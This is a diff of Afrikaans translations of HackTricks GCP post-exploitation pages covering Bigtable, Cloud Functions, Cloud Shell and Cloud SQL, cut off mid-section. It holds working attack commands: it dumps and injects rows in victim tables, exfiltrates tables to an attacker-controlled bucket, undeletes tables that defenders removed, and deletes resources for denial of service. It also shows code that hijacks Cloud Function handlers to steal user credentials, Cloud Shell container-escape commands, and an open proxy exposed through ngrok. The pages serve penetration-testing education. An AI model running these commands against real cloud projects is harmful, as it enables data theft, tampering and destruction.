> <summary>Installeer cbt CLI</summary>
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### Lees rye
|
||||
|
||||
**Permissies:** `bigtable.tables.readRows`
|
||||
|
||||
Die `cbt` kom met die Cloud SDK en kommunikeer direk met die admin/data APIs sonder enige middleware. Wys dit na die gekompromitteerde projek/instansie en dump rye direk vanaf die tabel. Beperk die skandering as jy net wil kyk.
|
||||
`cbt` word saam met die Cloud SDK gelewer en kommunikeer met die admin/data APIs sonder enige middleware. Rigs dit na die gekompromitteerde project/instance en dump rye direk vanaf die tabel. Beperk die scan as jy net 'n kykie nodig het.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lees Bigtable inskrywings</summary>
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Skryf rye
|
||||
|
||||
**Toestemmings:** `bigtable.tables.mutateRows`, (jy sal `bigtable.tables.readRows` nodig hê om die verandering te bevestig).
|
||||
**Permissies:** `bigtable.tables.mutateRows`, (jy sal `bigtable.tables.readRows` nodig hê om die verandering te bevestig).
|
||||
|
||||
Gebruik dieselfde hulpmiddel om arbitrêre selle te upsert. Dit is die vinnigste manier om configs te backdoor, web shells te drop, of poisoned dataset rows te plant.
|
||||
Gebruik dieselfde hulpmiddel om willekeurige selle te upsert. Dit is die vinnigste manier om configs te backdoor, web shells te drop, of poisoned dataset rows te plant.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Inspuit kwaadwillige ry</summary>
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
@@ -44,16 +60,22 @@ cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 prof
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` aanvaar ruwe bytes via die `@/path` sintaksis, sodat jy gecompileerde payloads of geserialiseerde protobufs presies kan stoot soos downstream-dienste dit verwag.
|
||||
</details>
|
||||
|
||||
### Exfiltreer rye na jou bucket
|
||||
`cbt set` aanvaar ruwe bytes via die `@/path` sintaks, sodat jy gecompileerde payloads of geserialiseerde protobufs presies kan stoot soos downstream-dienste dit verwag.
|
||||
|
||||
### Eksfiltreer rye na jou bucket
|
||||
|
||||
**Permissies:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Dit is moontlik om die inhoud van 'n volledige tabel na 'n bucket wat deur die aanvaller beheer word uit te voer deur 'n Dataflow job te loods wat rye na 'n GCS bucket wat jy beheer, stroom.
|
||||
Dit is moontlik om die inhoud van 'n hele tabel na 'n bucket wat deur die aanvaller beheer word te eksfiltreer deur 'n Dataflow-job te begin wat rye in 'n GCS bucket wat jy beheer, stroom.
|
||||
|
||||
> [!NOTE]
|
||||
> Let wel dat jy die permissie `iam.serviceAccounts.actAs` oor 'n SA met genoeg permissies sal benodig om die eksport uit te voer (by verstek, tensy anders aangedui, sal die standaard compute SA gebruik word).
|
||||
> Let wel dat jy die permissie `iam.serviceAccounts.actAs` oor 'n SA met voldoende permissies nodig sal hê om die uitvoer uit te voer (by verstek, tensy anders aangedui, sal die verstek compute SA gebruik word).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eksporteer Bigtable na GCS bucket</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
@@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
> [!NOTE]
|
||||
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
|
||||
</details>
|
||||
|
||||
### Import rows
|
||||
> [!NOTE]
|
||||
> Skakel die template na `Cloud_Bigtable_to_GCS_Parquet` of `Cloud_Bigtable_to_GCS_SequenceFile` as jy Parquet/SequenceFile-uitsette in plaas van JSON wil hê. Die toestemmings is dieselfde; slegs die template-pad verander.
|
||||
|
||||
### Importeer rye
|
||||
|
||||
**Toestemmings:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Dit is moontlik om die inhoud van 'n hele tabel in te voer vanaf 'n bucket wat deur die aanvaller beheer word deur 'n Dataflow-job te loods wat rye na 'n GCS-bucket wat jy beheer stroom. Hiervoor sal die aanvaller eers 'n parquet-lêer moet skep met die data wat ingevoer moet word en die verwagte schema. 'n Aanvaller kan eers die data in parquet-formaat uitvoer volgens die vorige tegniek met die instelling `Cloud_Bigtable_to_GCS_Parquet` en nuwe inskrywings by die afgelaaide parquet-lêer voeg
|
||||
Dit is moontlik om die inhoud van 'n hele tabel vanaf 'n bucket wat deur die aanvaller beheer word te importeer deur 'n Dataflow-job te loods wat rye na 'n GCS bucket wat jy beheer stroom. Hiervoor sal die aanvaller eers 'n parquet-lêer met die data wat ingevoer moet word en die verwagte schema moet skep. 'n Aanvaller kan eers die data in parquet-formaat uitvoer volgens die vorige tegniek met die instelling `Cloud_Bigtable_to_GCS_Parquet` en nuwe inskrywings by die afgelaaide parquet-lêer voeg
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).
|
||||
> Neem kennis dat jy die toestemming `iam.serviceAccounts.actAs` oor 'n SA met genoegsame regte nodig sal hê om die export uit te voer (standaard, tensy anders aangedui, sal die default compute SA gebruik word).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importeer vanaf GCS bucket na Bigtable</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
@@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
### Herstel van backups
|
||||
</details>
|
||||
|
||||
### Herstel van rugsteune
|
||||
|
||||
**Toestemmings:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
'n aanvaller met hierdie toestemmings kan 'n backup na 'n nuwe tabel onder sy beheer herstel om toegang tot ou sensitiewe data te kry.
|
||||
'n aanvaller met hierdie toestemmings kan 'n rugsteun in 'n nuwe tabel onder sy beheer herstel om ou sensitiewe data te kan terugkry.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Herstel Bigtable-rugsteun</summary>
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
@@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### Herstel verwyderde tabelle
|
||||
</details>
|
||||
|
||||
**Permissies:** `bigtable.tables.undelete`
|
||||
### Undelete tables
|
||||
|
||||
Bigtable ondersteun sagte verwydering met 'n respytperiode (gewoonlik 7 dae standaard). Gedurende hierdie venster kan 'n attacker met die `bigtable.tables.undelete` permissie 'n onlangs verwyderde tabel herstel en al die data daarvan terugkry, moontlik toegang verkry tot sensitiewe inligting wat as vernietig beskou is.
|
||||
**Permissions:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable ondersteun sagte verwydering met 'n genadeperiode (gewoonlik 7 dae by verstek). Gedurende hierdie venster kan 'n aanvaller met die `bigtable.tables.undelete`-toestemming 'n onlangs verwyderde tabel herstel en al sy data terugkry, wat moontlik toegang gee tot sensitiewe inligting wat as vernietig beskou is.
|
||||
|
||||
Dit is veral nuttig vir:
|
||||
- Herstel van data uit tabelle wat deur defenders tydens incident response verwyder is
|
||||
- Herwinning van data uit tabelle wat deur defenders verwyder is tydens incident response
|
||||
- Toegang tot historiese data wat doelbewus uitgevee is
|
||||
- Om onopsetlike of kwaadwillige verwyderings om te keer om persistence te handhaaf
|
||||
- Om per ongeluk of kwaadwillige verwyderings om te keer en persistence te behou
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Undelete Bigtable table</summary>
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
@@ -134,18 +174,24 @@ gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Die undelete-operasie werk slegs binne die gekonfigureerde retensieperiode (standaard 7 dae). Nadat hierdie venster verstryk het, word die tabel en die data permanent verwyder en kan nie deur hierdie metode herstel word nie.
|
||||
> Die undelete-operasie werk slegs binne die gekonfigureerde bewaarperiode (verstek 7 dae). Nadat hierdie venster verstryk het, word die tabel en sy data permanent verwyder en kan nie deur hierdie metode herstel word nie.
|
||||
|
||||
|
||||
### Skep Authorized Views
|
||||
### Skep Gemagtigde Weergawes
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
**Permissies:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Authorized views laat jou 'n gekose substel van die tabel aanbied. In plaas daarvan om least privilege te eerbiedig, gebruik dit om **presies die sensitiewe kolom-/rystelle** wat jou interesseer te publiseer en jou eie principal op die whitelist te plaas.
|
||||
Gemagtigde weergawes laat jou toe om 'n gekeurde substel van die tabel voor te stel. In plaas daarvan om minste voorregte te eerbiedig, gebruik dit om **presies die sensitiewe kolom-/rystelle** wat vir jou saak maak te publiseer en jou eie prinsipaal op die witlys te sit.
|
||||
|
||||
> [!WARNING]
|
||||
> Die probleem is dat om 'n authorized view te skep jy ook in staat moet wees om rye in die basistabel te lees en te muteer; dus verwerf jy geen ekstra toestemming nie, en daarom is hierdie tegniek oor die algemeen nutteloos.
|
||||
> Die ding is dat om 'n gemagtigde weergawes te skep jy ook in staat moet wees om rye in die basistabel te lees en te muteer, daarom verkry jy geen ekstra toestemmings nie — hierdie tegniek is dus meestal nutteloos.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep gemagtigde weergawes</summary>
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
@@ -168,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
Omdat toegang tot die aansig beperk is, onderskat verdedigers dikwels die feit dat jy net 'n nuwe hoogs-sensitiewe eindpunt geskep het.
|
||||
</details>
|
||||
|
||||
### Lees Gemagtigde Aansigte
|
||||
Aangesien toegang tot die view beperk is, misken verdedigers dikwels die feit dat jy pas 'n nuwe hoë-sensitiwiteits-endpoint geskep het.
|
||||
|
||||
**Permissies:** `bigtable.authorizedViews.readRows`
|
||||
### Lees Authorized Views
|
||||
|
||||
As jy toegang het tot 'n gemagtigde aansig, kan jy data daaruit lees met die Bigtable kliëntbiblioteke deur die naam van die gemagtigde aansig in jou leesversoeke te spesifiseer. Let wel dat die gemagtigde aansig waarskynlik sal beperk watter data jy uit die tabel kan kry. Hieronder is 'n voorbeeld in Python:
|
||||
**Permissions:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Indien jy toegang tot 'n Authorized View het, kan jy data daaruit lees met die Bigtable client libraries deur die naam van die Authorized View in jou leesversoeke te spesifiseer. Let daarop dat die Authorized View waarskynlik sal beperk wat jy vanuit die tabel kan lees. Hieronder is 'n voorbeeld met Python:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lees vanaf Authorized View (Python)</summary>
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
@@ -209,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
</details>
|
||||
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
**Permissions:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Enige van die Bigtable delete permissions kan gebruik word vir denial of service-aanvalle. 'n Aanvaller met hierdie permissions kan bedrywighede ontwrig deur kritieke Bigtable-bronne te delete:
|
||||
Enige van die Bigtable delete-permissies kan vir denial of service-aanvalle gebruik word. ’n Aanvaller met hierdie permissies kan bedrywighede ontwrig deur kritieke Bigtable-hulpbronne te verwyder:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: Delete application profiles, waardeur kliëntverbindings en roeteringskonfigurasies verbreek word
|
||||
- **`bigtable.authorizedViews.delete`**: Remove authorized views, waardeur wettige toegangspade vir toepassings afgesny word
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Remove tag bindings from authorized views, wat tag-bindings verwyder wat toegangskontroles kan beïnvloed
|
||||
- **`bigtable.backups.delete`**: Destroy backup snapshots, waardeur rampherstelopsies uitgeskakel word
|
||||
- **`bigtable.clusters.delete`**: Delete entire clusters, wat onmiddellike onbeskikbaarheid van data veroorsaak
|
||||
- **`bigtable.instances.delete`**: Remove complete Bigtable instances, wat alle tabelle en konfigurasies uitwis
|
||||
- **`bigtable.tables.delete`**: Delete individual tables, wat dataverlies en toepassingsfoute veroorsaak
|
||||
- **`bigtable.appProfiles.delete`**: Verwyder toepassingsprofiele, wat kliëntverbindinge en routeringskonfigurasies breek
|
||||
- **`bigtable.authorizedViews.delete`**: Verwyder authorized views, wat wettige toegangspaaie vir toepassings afsny
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Verwyder tagbindinge van authorized views
|
||||
- **`bigtable.backups.delete`**: Vernietig backup-snapshots, en verwyder daarmee rampherstelopsies
|
||||
- **`bigtable.clusters.delete`**: Verwyder hele clusters, wat onmiddellike onbeskikbaarheid van data veroorsaak
|
||||
- **`bigtable.instances.delete`**: Verwyder volledige Bigtable-instances, wat alle tabelle en konfigurasies uitvee
|
||||
- **`bigtable.tables.delete`**: Verwyder individuele tabelle, wat dataverlies en toepassingsfoute veroorsaak
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder Bigtable-hulpbronne</summary>
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
@@ -246,7 +304,9 @@ gcloud bigtable clusters delete <cluster-id> \
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!WARNING]
|
||||
> Verwyderingsoperasies is dikwels onmiddellik en onomkeerbaar. Maak seker dat daar rugsteun is voordat u hierdie opdragte toets, aangesien dit permanente dataverlies en ernstige diensonderbreking kan veroorsaak.
|
||||
> Verwyderingsoperasies is dikwels onmiddellik en onomkeerbaar. Maak seker dat daar rugsteunkopieë bestaan voordat u hierdie opdragte toets, aangesien dit permanente dataverlies en ernstige diensonderbreking kan veroorsaak.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+7
-1
@@ -12,7 +12,11 @@ Vir meer inligting oor Cloud Build, kyk:
|
||||
|
||||
### `cloudbuild.builds.approve`
|
||||
|
||||
Met hierdie toestemming kan jy die uitvoering van 'n **codebuild wat goedkeuring vereis** goedkeur.
|
||||
Met hierdie toestemming kan jy die uitvoering van 'n **codebuild wat goedkeurings vereis** goedkeur.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Goedkeur Cloud Build-uitvoering</summary>
|
||||
```bash
|
||||
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
|
||||
curl -X POST \
|
||||
@@ -24,4 +28,6 @@ object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-6
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Vind 'n paar inligting oor Cloud Functions in:
|
||||
Vind inligting oor Cloud Functions in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,20 +12,30 @@ Vind 'n paar inligting oor Cloud Functions in:
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
Met hierdie toestemming kan jy 'n **ondertekende URL kry om die bronkode** van die Cloud Function af te laai:
|
||||
Met hierdie permissie kan jy 'n **signed URL kry om die bronkode van die Cloud Function af te laai**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kry 'n signed URL om die bronkode af te laai</summary>
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### Steal Cloud Function Requests
|
||||
</details>
|
||||
|
||||
As die Cloud Function sensitiewe inligting bestuur wat gebruikers stuur (bv. wagwoorde of tokens), met genoeg regte kan jy **die bronne kode van die funksie wysig en hierdie inligting uitbring**.
|
||||
### Steel Cloud Function Versoeke
|
||||
|
||||
Boonop gebruik Cloud Functions wat in python loop **flask** om die webbediener bloot te stel, as jy op een of ander manier 'n kode-inspuitingskwesbaarheid binne die flaks-proses vind (soos 'n SSTI-kwesbaarheid), is dit moontlik om die **funksiehandler te oorskry** wat die HTTP-versoeke gaan ontvang vir 'n **kwaadaardige funksie** wat kan **die versoek uitbring** voordat dit aan die regte handler oorgedra word.
|
||||
As die Cloud Function sensitiewe inligting hanteer wat gebruikers stuur (bv. passwords of tokens), kan jy met genoeg voorregte **wysig die bronkode van die funksie en exfiltrate** hierdie inligting.
|
||||
|
||||
Byvoorbeeld, hierdie kode implementeer die aanval:
|
||||
Boonop gebruik Cloud Functions wat in python loop **flask** om die webbediener bloot te stel; as jy op een of ander manier 'n code injection vulnerability binne die flaks-proses vind (byvoorbeeld 'n SSTI vulnerability), is dit moontlik om die **override the function handler** wat die HTTP requests gaan ontvang vir 'n **malicious function** wat die versoek kan **exfiltrate** voordat dit aan die regmatige handler deurgegee word.
|
||||
|
||||
For example this kode implements the attack:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steel Cloud Function versoeke (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -122,4 +132,8 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+76
-16
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
Vir meer inligting oor Cloud Shell, kyk:
|
||||
Vir meer inligting oor Cloud Shell, sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
@@ -12,22 +12,38 @@ Vir meer inligting oor Cloud Shell, kyk:
|
||||
|
||||
### Container Escape
|
||||
|
||||
Let daarop dat die Google Cloud Shell binne 'n container loop, jy kan **maklik na die gasheer ontsnap** deur te doen:
|
||||
Let wel dat die Google Cloud Shell binne 'n container loop; jy kan **easily escape to the host** deur die volgende te doen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
Dit word nie as 'n kwesbaarheid deur Google beskou nie, maar dit gee jou 'n breër visie van wat in daardie omgewing gebeur.
|
||||
</details>
|
||||
|
||||
Boonop, let daarop dat jy vanaf die gasheer 'n diensrekeningtoken kan vind:
|
||||
Dit word nie deur google as 'n kwesbaarheid beskou nie, maar dit gee jou 'n breër insig in wat in daardie omgewing gebeur.
|
||||
|
||||
Boonop, let daarop dat jy vanaf die host 'n service account token kan vind:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Haal service account uit metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
Met die volgende grense:
|
||||
</details>
|
||||
|
||||
Met die volgende scopes:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Haal service account scopes op</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
|
||||
https://www.googleapis.com/auth/logging.write
|
||||
https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
Lys metadata met LinPEAS:
|
||||
</details>
|
||||
|
||||
Enumereer metadata met LinPEAS:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Enumereer metadata met LinPEAS</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
Na gebruik van [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) met die token van die Diensrekening **is daar geen toestemming ontdek nie**...
|
||||
</details>
|
||||
|
||||
### Gebruik dit as 'n Proxy
|
||||
Na die gebruik van [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) met die token van die Service Account is **geen permissies gevind**...
|
||||
|
||||
As jy jou google cloud shell instansie as 'n proxy wil gebruik, moet jy die volgende opdragte uitvoer (of dit in die .bashrc-lêer invoeg):
|
||||
### Gebruik dit as Proxy
|
||||
|
||||
As jy jou google cloud shell instance as Proxy wil gebruik, moet jy die volgende opdragte uitvoer (of dit in die .bashrc file insit):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Installeer Squid proxy</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
Net om jou te laat weet, Squid is 'n http-proxybediener. Skep 'n **squid.conf** lêer met die volgende instellings:
|
||||
</details>
|
||||
|
||||
Net om jou te laat weet, Squid is 'n http proxy server. Skep 'n **squid.conf**-lêer met die volgende instellings:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep 'n squid.conf-lêer</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
acl all src 0.0.0.0/0
|
||||
http_access allow all
|
||||
```
|
||||
kopieer die **squid.conf** lêer na **/etc/squid**
|
||||
</details>
|
||||
|
||||
Kopieer die **squid.conf** lêer na **/etc/squid**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kopieer die konfigurasie na /etc/squid</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
Laastens voer die squid diens uit:
|
||||
</details>
|
||||
|
||||
Laastens voer die squid-diens uit:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Begin squid-diens</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
Gebruik ngrok om die proxy van buite beskikbaar te stel:
|
||||
</details>
|
||||
|
||||
Gebruik ngrok om die proxy van buite beskikbaar te maak:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Maak die proxy met ngrok beskikbaar</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
Na die uitvoering van copy, gebruik die tcp:// URL. As jy die proxy vanaf 'n blaaskier wil uitvoer, word dit voorgestel om die tcp:// deel en die poort te verwyder en die poort in die poortveld van jou blaaskier se proxy-instellings te plaas (squid is 'n http proxy bediener).
|
||||
</details>
|
||||
|
||||
Vir beter gebruik by opstart moet die .bashrc-lêer die volgende lyne hê:
|
||||
Na uitvoering, kopieer die tcp:// url. As jy die proxy vanaf 'n browser' wil gebruik, word dit aanbeveel om die tcp://-deel en die port te verwyder en die port in die portveld van jou browser se proxy-instellings te sit (squid is 'n http proxy server).
|
||||
|
||||
Vir beter gebruik by opstart moet die .bashrc file die volgende reëls hê:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Voeg by .bashrc vir outomatiese opstart</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
sudo service squid start
|
||||
cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
Die instruksies is gekopieer van [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Kyk na daardie bladsy vir ander mal idees om enige soort sagteware (databasisse en selfs Windows) in Cloud Shell te loop.
|
||||
</details>
|
||||
|
||||
Die instruksies is gekopieer vanaf [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Kyk daardie bladsy vir ander gekke idees om enige soort sagteware (databasisse en selfs windows) in Cloud Shell te laat loop.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+68
-14
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
Vir meer inligting oor Cloud SQL, kyk:
|
||||
Vir meer inligting oor Cloud SQL, sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
@@ -12,7 +12,11 @@ Vir meer inligting oor Cloud SQL, kyk:
|
||||
|
||||
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
|
||||
|
||||
Om met die databasisse te verbind, **het jy net toegang tot die databasispoort nodig** en moet jy die **gebruikersnaam** en **wagwoord** weet, daar is geen IAM vereistes nie. So, 'n maklike manier om toegang te verkry, veronderstel dat die databasis 'n publieke IP-adres het, is om die toegelate netwerke op te dateer en **jou eie IP-adres toegang te gee**.
|
||||
Om aan die databasisse te koppel, het jy **net toegang tot die databasispoort** nodig en moet jy die **gebruikersnaam** en **wagwoord** ken; daar is geen IAM-vereistes nie. Dus, 'n maklike manier om toegang te kry—veronderstel die databasis het 'n publieke IP-adres—is om die toegelate netwerke by te werk en **jou eie IP-adres toe te laat om toegang daartoe te kry**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Laat jou IP toe en koppel aan die databasis</summary>
|
||||
```bash
|
||||
# Use --assign-ip to make the database get a public IPv4
|
||||
gcloud sql instances patch $INSTANCE_NAME \
|
||||
@@ -25,61 +29,111 @@ mysql -h <ip_db> # If mysql
|
||||
# With cloudsql.instances.get you can use gcloud directly
|
||||
gcloud sql connect mysql --user=root --quiet
|
||||
```
|
||||
Dit is ook moontlik om **`--no-backup`** te gebruik om die **rugsteun** van die databasis te **onderbreek**.
|
||||
</details>
|
||||
|
||||
Aangesien dit die vereistes is, is ek nie heeltemal seker waarvoor die toestemmings **`cloudsql.instances.connect`** en **`cloudsql.instances.login`** is nie. As jy dit weet, stuur 'n PR!
|
||||
Dit is ook moontlik om **`--no-backup`** te gebruik om die **rugsteun van die databasis te ontwrig**.
|
||||
|
||||
Aangesien dit die vereistes is, is ek nie heeltemal seker waarvoor die permissies **`cloudsql.instances.connect`** en **`cloudsql.instances.login`** is nie. As jy dit weet, stuur asseblief 'n PR!
|
||||
|
||||
### `cloudsql.users.list`
|
||||
|
||||
Kry 'n **lys van al die gebruikers** van die databasis:
|
||||
